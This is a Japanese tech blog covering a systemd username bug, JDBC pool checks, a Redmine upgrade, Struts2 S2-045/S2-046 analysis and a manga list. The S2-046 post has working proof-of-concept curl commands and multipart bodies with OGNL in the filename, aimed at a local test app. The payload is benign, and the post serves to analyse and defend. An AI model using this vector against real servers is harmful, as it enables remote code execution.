systemdのバグ
多くのLinuxディストリビューションで採用されているシステム管理ソフトウェア「systemd」で、複数の不具合が確認されています。1つは、ユーザー名を指定する個所で数字で始まるユーザー名を指定すると、そのユーザーの代わりに「root」が指定されたことになってしまうというもの
ということで結構批判されている。
議論は以下でされていて、結局修正は却下されたようだ。
CentOS7のような主要なディストリビューションでも0dayのような名前は許容されているし、POSIXでも許容されているので許可してもいいのではという気がするが、仕様と言われてしまうとまあそうかなと思う。普通に0dayというユーザがいた場合はそのユーザで起動できなくなりかわいそうではあるが、system serviceの場合は通常apacheとかmysqlとかシステムユーザを設定するし、user serviceの場合はrootしか指定できないので、そこまで問題にはならなそう。
セキュリティ的に攻撃できるかという点では、こちらの人が指摘するように、system serviceのunit設定ファイルを修正する必要があるので、root権限がそもそも必要で、システム管理者がミスするように仕向けるか、unit設定ファイルを修正するようなwebサービスが攻撃されるかもぐらいな話なので、これも可能性はかなり低そうだな。
まあ、最終的にはOSSなんで使いたくなければ使わなければ良いだけな気がするが。
Javaのコネクションプールの接続チェック
コネクションプールからコネクションを取得すると、接続が切れているコネクションを再利用してしまうことがある。
これを防ぐためにコネクションプール側で何かやっていないかなとちょっと調べた。
c3p0は
- testConnectionOnCheckin - プールから取得する時に接続チェックするかどうか
- testConnectionOnCheckout - プールに返す時に接続チェックするかどうか
- preferedTestQuery - 接続チェックする時にどのようなSQL文を実行するか。指定していないと、Connection.isValid→Connection.getMetadata().getTables(...)を呼ぶ
- connectionTesterClassName - 接続チェックするConnectionTesterインターフェースを実装したクラスを指定する
でいろいろ指定できる。
HikariCPは
- connectionTestQuery - 接続チェックする時にどのようなSQL文を実行するか。
で指定できる。connectionTestQueryが指定されていないとConnection.isValidを実行する。
逆にHibernateがデフォルトで実装しているプールなどは、こういうことはやってくれない。
JDBC4のConnection.isValidは便利そうなんだが、JDBCドライバ側があまり実装していないらしいので、テスト用のクエリを設定するのが主流っぽいな。
redmineのバージョンアップ
redmineが2系でそろそろ古いかなと思って、バージョンアップしてみたのでメモ。
あと、ubuntu14.04だとrubyが1.9系で微妙なので、それもアップデートした。
バックアップ
redmineのディレクトリは念のため、まるっとバックアップしておく。
$ cp -rp /path/to/redmine /path/to/backup/
DBのダンプ
$ mysqldump -u redmine -p | gzip -c > /path/to/backup/redmine.backup.gz
rubyのインストール
$ wget https://cache.ruby-lang.org/pub/ruby/2.3/ruby-2.3.4.tar.gz $ tar zxvf ruby-2.3.4.tar.gz $ cd ruby-2.3.4 $ ./configure --disable-install-doc --prefix=/path/to/ruby2.3.4 $ make $ sudo make install
bundlerのインストール
$ sudo /path/to/ruby2.3.4/bin/gem install bundler
redmineのインストール
redmineをダウンロードして解凍
$ rm -fr /path/to/redmine $ wget http://www.redmine.org/releases/redmine-3.3.3.tar.gz $ tar zxvf redmine-3.3.3.tar.gz $ sudo mv redmine-3.3.3 /path/to/redmine
旧環境から設定をコピー
$ sudo cp /path/to/backup/redmine/config/database.yml /path/to/redmine/config/ $ sudo cp /path/to/backup/redmine/config/configuration.yml /path/to/redmine/config/
$ chown -R redmine:redmine /path/to/redmine
依存モジュールのインストール。
まず、アプリケーションサーバにthinを利用しているのでGemfileにthinを追加
gem 'thin'
その後bundle install
$ cd /path/to/redmine $ sudo -H -u redmine /path/to/ruby2.3.4/bin/bundle install --path vendor/bundle --without development test rmagick
セキュリティトークンの作成
$ sudo -H -u redmine /path/to/ruby2.3.4/bin/bundle exec rake generate_secret_token
DBの更新
$ sudo -H -u redmine /path/to/ruby2.3.4/bin/bundle exec rake db:migrate RAILS_ENV=production
セッションやキャッシュの削除
$ sudo -H -u redmine /path/to/ruby2.3.4/bin/bundle exec rake tmp:cache:clear tmp:sessions:clear RAILS_ENV=production
thinの設定を作成。/path/to/redmine/config/thin.ymlに保存する。
chdir: /path/to/redmine environment: production address: 127.0.0.1 port: 3000 timeout: 30 log: log/thin.log pid: tmp/pids/thin.pid max_conns: 1024 max_persistent_conns: 512 require: [] wait: 30 daemonize: true prefix: /redmine user: redmine group: redmine
thinの起動
$ cd /path/to/redmine $ sudo -H -u redmine RAILS_RELATIVE_URL_ROOT=/redmine /path/to/ruby2.3.4/bin/bundle exec thin start -C /path/to/redmine/config/thin.yml
RAILS_RELATIVE_URL_ROOTはredmineをサブurl(/redmine)でアクセスしているのでそうしている。
apache側は3000ポートにproxyしているだけ
<Location /redmine> ProxyPass http://localhost:3000/redmine ProxyPassReverse http://localhost:3000/redmine </Location>
あとはデーモン化するとか残っているけどとりあえずここまで。
Struts2の脆弱性(S2-046)
S2-045の話は既に書いたけども、S2-046は書いていなかったのでちょっと書く。
↓のやつ。
Struts2-046: A new vector - Hewlett Packard Enterprise Community
この脆弱性は、以下の3つの条件に合う場合、マルチパートのアイテムのファイル名に記述されたOGNL式が実行される。
- multipartのparserとしてJakartaStreamMultipartRequestを利用している場合
- Content-Lengthを制限値(デフォルトは2MB)より大きく設定する
- マルチパートのアイテムのContent-Dispositionヘッダのファイル名の部分にOGNL式を入れる
実際にこの脆弱性を確認してみる。
脆弱性のあるバージョンのstruts(以下では2.3.11を利用した)を含んだサンプルアプリstruts2-blankに対して、JakartaStreamMultipartRequestを利用するように設定し、HPの例をそのまま使ってcurlコマンドで実行する。
curl -H 'Content-Length: 10000000' -H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAnmUgTEhFhOZpr9z' --data-binary @sample.txt http://localhost:8080/struts2-blank/example/HelloWorld.action
sample.txtの中身は
------WebKitFormBoundaryAnmUgTEhFhOZpr9z Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}" Content-Type: text/plain Kaboom ------WebKitFormBoundaryAnmUgTEhFhOZpr9z--
ヘッダ部分の改行コードは\r\nにする必要があるので注意。
これを実行すると、マルチパートリクエストをparseするため、JakaraStreamMultipartRequest.parseが実行される。
public void parse(HttpServletRequest request, String saveDir) throws IOException { try { setLocale(request); processUpload(request, saveDir); } catch (Exception e) { e.printStackTrace(); String errorMessage = buildErrorMessage(e, new Object[]{}); if (!errors.contains(errorMessage)) errors.add(errorMessage); } }
parseの中で以下のprocessUploadが呼ばれる。
private void processUpload(HttpServletRequest request, String saveDir) throws Exception { // Sanity check that the request is a multi-part/form-data request. if (ServletFileUpload.isMultipartContent(request)) { // Sanity check on request size. boolean requestSizePermitted = isRequestSizePermitted(request);
isRequestSizePermittedでContentLengthが制限値を超えていないかチェックされ、その真偽値がrequestSizePermittedに入る。
そして、各マルチパートのアイテムを1つずつ処理していく。
FileItemIterator i = servletFileUpload.getItemIterator(request); // Iterate the file items while (i.hasNext()) { try { FileItemStream itemStream = i.next(); // If the file item stream is a form field, delegate to the // field item stream handler if (itemStream.isFormField()) { processFileItemStreamAsFormField(itemStream); } // Delegate the file item stream for a file field to the // file item stream handler, but delegation is skipped // if the requestSizePermitted check failed based on the // complete content-size of the request. else { // prevent processing file field item if request size not allowed. // also warn user in the logs. if (!requestSizePermitted) { addFileSkippedError(itemStream.getName(), request); LOG.warn("Skipped stream '#0', request maximum size (#1) exceeded.", itemStream.getName(), maxSize); continue; } processFileItemStreamAsFileField(itemStream, saveDir); } ...
ファイルアップロードの場合はrequestSizePermittedがチェックされており、これがfalseの場合はaddFileSkippedErrorが呼ばれる。ここで、itemStream.getName()はCotent-Dispositionのファイル名を返すので、OGNL式を含むものになる。
addFileSkippedErrorは以下のようなメソッドで"Skipped file <ファイル名>; request size limit exceeded."という例外を作成し、buildErrorMessageを呼ぶ。
private void addFileSkippedError(String fileName, HttpServletRequest request) { String exceptionMessage = "Skipped file " + fileName + "; request size limit exceeded."; FileSizeLimitExceededException exception = new FileUploadBase.FileSizeLimitExceededException(exceptionMessage, getRequestSize(request), maxSize); String message = buildErrorMessage(exception, new Object[]{fileName, getRequestSize(request), maxSize}); if (!errors.contains(message)) errors.add(message); }
buildErrorMessageは以下のメソッドで、エラーメッセージを引数にLocalizedTextUtil.findTextを呼び出し、これがS2-045でもあったようにOGNL式を実行してしまう。
private String buildErrorMessage(Throwable e, Object[] args) { String errorKey = "struts.message.upload.error." + e.getClass().getSimpleName(); if (LOG.isDebugEnabled()) LOG.debug("Preparing error message for key: [#0]", errorKey); return LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, e.getMessage(), args); }
アップロードファイルのサイズの制限を超える→「〇〇というファイルが制限値を超えた」という例外を作成(実は〇〇にOGNLが含まれている)→ローカライズメソッドを呼ぶ→OGNL実行という流れである。
さらに、S2-046には以下で指摘されている若干異なる攻撃経路がある。
GitHub - pwntester/S2-046-PoC: S2-046-PoC
こちらはContent-Lengthは2KBを超えている必要はないので以下のコマンドで良い。
$ curl -v -H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAnmUgTEhFhOZpr9z' --data-binary @sample2.txt http://localhost:8080/struts2-blank/example/HelloWorld.action
sample2.txtは先程のsample.txtを少し修正する。
------WebKitFormBoundaryAnmUgTEhFhOZpr9z Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}<\0>b" Content-Type: text/plain Kaboom ------WebKitFormBoundaryAnmUgTEhFhOZpr9z--
ファイル名にOGNL式を入れるのは同じだが、\0のバイトを含むようにする。
今回はrequestSizePermittedがtrueになるので、processFileItemStreamAsFileFieldに進む。
private void processFileItemStreamAsFileField(FileItemStream itemStream, String location) { // Skip file uploads that don't have a file name - meaning that no file was selected. if (itemStream.getName() == null || itemStream.getName().trim().length() < 1) { LOG.debug("No file has been uploaded for the field: {}", itemStream.getFieldName()); return; }
itemStream.getName()でアイテムのファイル名を取得しているのだが、その中でファイル名のチェックが実施される。
この部分はcommons-fileuploadのorg.apache.commons.fileupload.util.Streams.checkFileNameにある。
public static String checkFileName(String fileName) { if (fileName != null && fileName.indexOf('\u0000') != -1) { // pFileName.replace("\u0000", "\\0") final StringBuilder sb = new StringBuilder(); for (int i = 0; i < fileName.length(); i++) { char c = fileName.charAt(i); switch (c) { case 0: sb.append("\\0"); break; default: sb.append(c); break; } } throw new InvalidFileNameException(fileName, "Invalid file name: " + sb); } return fileName; }
このチェックは\0が含まれるかどうかをチェックし、"\\0"に置き換えて"invalid file name: <ファイル名>"というメッセージの例外を投げる。
この例外は、一番最初のJakartaStreamMultipartRequest.parseの中のtry catchでキャッチされ、buildErrorMessageに投げられ、LocalizedTextUtil.findTextに投げるのでファイル名に含まれるOGNLが実行される。
こっちは、Content-Dispositionのファイル名に\0を含む→commons-fileuploadが「ファイル名がおかしい: <ファイル名>」という例外を投げる→struts2が例外をキャッチして、ローカライズメソッドを呼ぶ→ファイル名に含まれるOGNLが実行されるという流れ。
どちらも、S2-045の修正ではローカライズする時に該当するキーが存在しない場合はデフォルトのメッセージをローカライズするようなコードになっているので、S2-045の修正を入れていれば大丈夫。しかし、WAFでの対応にしているとチェックするヘッダが異なるので、ルールを変えていかないといけない。
まあ、WAFに頼るよりかは最新版にした方が良いかな。
Struts2の脆弱性(S2-045, CVE-2017-5638)
だいぶまとめられているので私が書くことはあまりなさそうな。
piyokangoさんのまとめ
Struts2の脆弱性 CVE-2017-5638 (S2-045)についてまとめてみた - piyolog
こちらに解析されている方がいて詳しい
Struts2のリモートコード実行可能脆弱性(CVE-2017-5638)を分析した - R42日記
ただ、
見ての通り、LocalizedTextUtilはもう使われていないのでセーフです。
はちょっとちがくて、修正後のコードのtextProviderの中でLocalizedTextUtilは呼ばれているけど、デフォルトのメッセージ「struts.messages.error.uploading」を取得していて、外部からの入力を利用していないのでセーフになる。
あと、WAFで防ぐ場合はContent-Typeヘッダに%{...}や${...}を含むものを弾けば良いかな。この部分がOGNL式として解釈されるので。PoCは%{...}のものが多いけども、コード的には両方必要。
(追記) Content-Typeについてだけ書いたが、S2-046の件もあるので、Content-DispositionやContent-Lengthをチェックする必要もある
ドキュメントには${...}しか書いていないようだけども。
LocalizedTextUtil (Struts 2 Core 2.5-BETA1 API)
If a message is found, it will also be interpolated. Anything within ${...} will be treated as an OGNL expression and evaluated as such.
2016年面白かった漫画
年明けちゃったけど
- 作者: 中島三千恒
- 出版社/メーカー: 新潮社
- 発売日: 2016/11/09
- メディア: コミック
- この商品を含むブログ (5件) を見る
主人公が自分の権限と利害関係の中でどのような選択をしていくかという部分が面白い。
- 作者: 葦原大介
- 出版社/メーカー: 集英社
- 発売日: 2016/12/02
- メディア: コミック
- この商品を含むブログ (7件) を見る
メガネ君が使えるようになってきて、頭脳戦が面白くなってきたのだけども、休載になってしまうとはなあ
- 作者: 久正人
- 出版社/メーカー: 新潮社
- 発売日: 2016/09/09
- メディア: コミック
- この商品を含むブログ (3件) を見る
この神様殺しちゃうのかという流れにちょっと驚いた
ヒナまつり 11<ヒナまつり> (ビームコミックス(ハルタ))
- 作者: 大武政夫
- 出版社/メーカー: KADOKAWA / エンターブレイン
- 発売日: 2016/09/15
- メディア: Kindle版
- この商品を含むブログ (2件) を見る
安定して面白い。ちょっとマンネリ感はあるけど。
ナナマル サンバツ (12) (カドカワコミックス・エース)
- 作者: 杉基イクラ
- 出版社/メーカー: KADOKAWA/角川書店
- 発売日: 2016/08/02
- メディア: コミック
- この商品を含むブログ (4件) を見る
クイ研熱いし、単純に知識だけではなく、運だとか駆け引きもあって面白い
- 作者: 増田英二
- 出版社/メーカー: 秋田書店
- 発売日: 2016/12/08
- メディア: Kindle版
- この商品を含むブログを見る
委員長がいなくなったのは残念だが、そろそろ終了するのかな。
- 作者: タスクオーナ
- 出版社/メーカー: KADOKAWA / 角川書店
- 発売日: 2016/07/26
- メディア: Kindle版
- この商品を含むブログ (2件) を見る
原作長編ではこのエピソードが一番すきかな。
里志と摩耶花が主人公な感じで。
- 作者: 九井諒子
- 出版社/メーカー: KADOKAWA/エンターブレイン
- 発売日: 2016/08/12
- メディア: コミック
- この商品を含むブログ (25件) を見る
- 作者: つくしあきひと
- 出版社/メーカー: 竹書房
- 発売日: 2016/04/30
- メディア: Kindle版
- この商品を含むブログ (2件) を見る
えぐい。だが面白い。
ゴールデンカムイ 8 (ヤングジャンプコミックスDIGITAL)
- 作者: 野田サトル
- 出版社/メーカー: 集英社
- 発売日: 2016/09/16
- メディア: Kindle版
- この商品を含むブログを見る
- 作者: こざき亜衣
- 出版社/メーカー: 小学館
- 発売日: 2016/09/30
- メディア: Kindle版
- この商品を含むブログ (1件) を見る
1年生もキャラが立ってきて、薙刀漫画というよりかは部活漫画という面も強くなってきて良い。
連載終了
まおゆう魔王勇者 「この我のものとなれ、勇者よ」「断る!」(18)<まおゆう魔王勇者 「この我のものとなれ、勇者よ」「断る!」> (角川コミックス・エース)
- 作者: 石田あきら
- 出版社/メーカー: KADOKAWA / 角川書店
- 発売日: 2016/08/26
- メディア: Kindle版
- この商品を含むブログを見る
並行して連載されたものが多かったけども、最後までしっかりと描ききったな。
他のはちょっと尻切れになってしまっているので。ブームが過ぎちゃっているので仕方ないが。
- 作者: 水上悟志
- 出版社/メーカー: 少年画報社
- 発売日: 2016/06/10
- メディア: Kindle版
- この商品を含むブログ (2件) を見る
- 作者: 水上悟志
- 出版社/メーカー: マッグガーデン
- 発売日: 2016/06/17
- メディア: Kindle版
- この商品を含むブログ (1件) を見る
水上悟志作品が続けて終わった。
スピリットサークルの未来編が好きだったな
- 作者: 安部真弘
- 出版社/メーカー: 秋田書店
- 発売日: 2016/05/06
- メディア: コミック
- この商品を含むブログ (5件) を見る
この表紙はずるい
僕だけがいない街(8)<僕だけがいない街> (角川コミックス・エース)
- 作者: 三部けい
- 出版社/メーカー: KADOKAWA / 角川書店
- 発売日: 2016/04/27
- メディア: Kindle版
- この商品を含むブログ (103件) を見る
あの終わり方に納得がいかない人もいるっぽいけど、私は結構好きだな。
終わったと思ったらamazonに9巻がある。
- 作者: 武本糸会,上橋菜穂子
- 出版社/メーカー: 講談社
- 発売日: 2016/04/08
- メディア: コミック
- この商品を含むブログを見る
絵柄が非常に合っていた。
決してマネしないでください。(3)? (モーニングKC) (モーニング KC)
- 作者: 蛇蔵
- 出版社/メーカー: 講談社
- 発売日: 2016/02/23
- メディア: コミック
- この商品を含むブログ (2件) を見る
新連載
悪魔のメムメムちゃん 1 (ジャンプコミックスDIGITAL)
- 作者: 四谷啓太郎
- 出版社/メーカー: 集英社
- 発売日: 2016/11/04
- メディア: Kindle版
- この商品を含むブログ (1件) を見る
ServletのWEB-INF/libのjarが読み込まれる順番
同じライブラリのjarがバージョン別でWEB-INFに置かれていた場合、どっちが読まれるのかなという話。
のPDFの「4.6. Resources」のところ、
The order in which the JAR files in the WEB-INF/lib directory are scanned is undefined.
とあるので、読み込まれる順序は未定義のようだ。tomcat8.5辺りの実装を見てもjava.io.File.listを使っているようなので、これまた順序は未定義。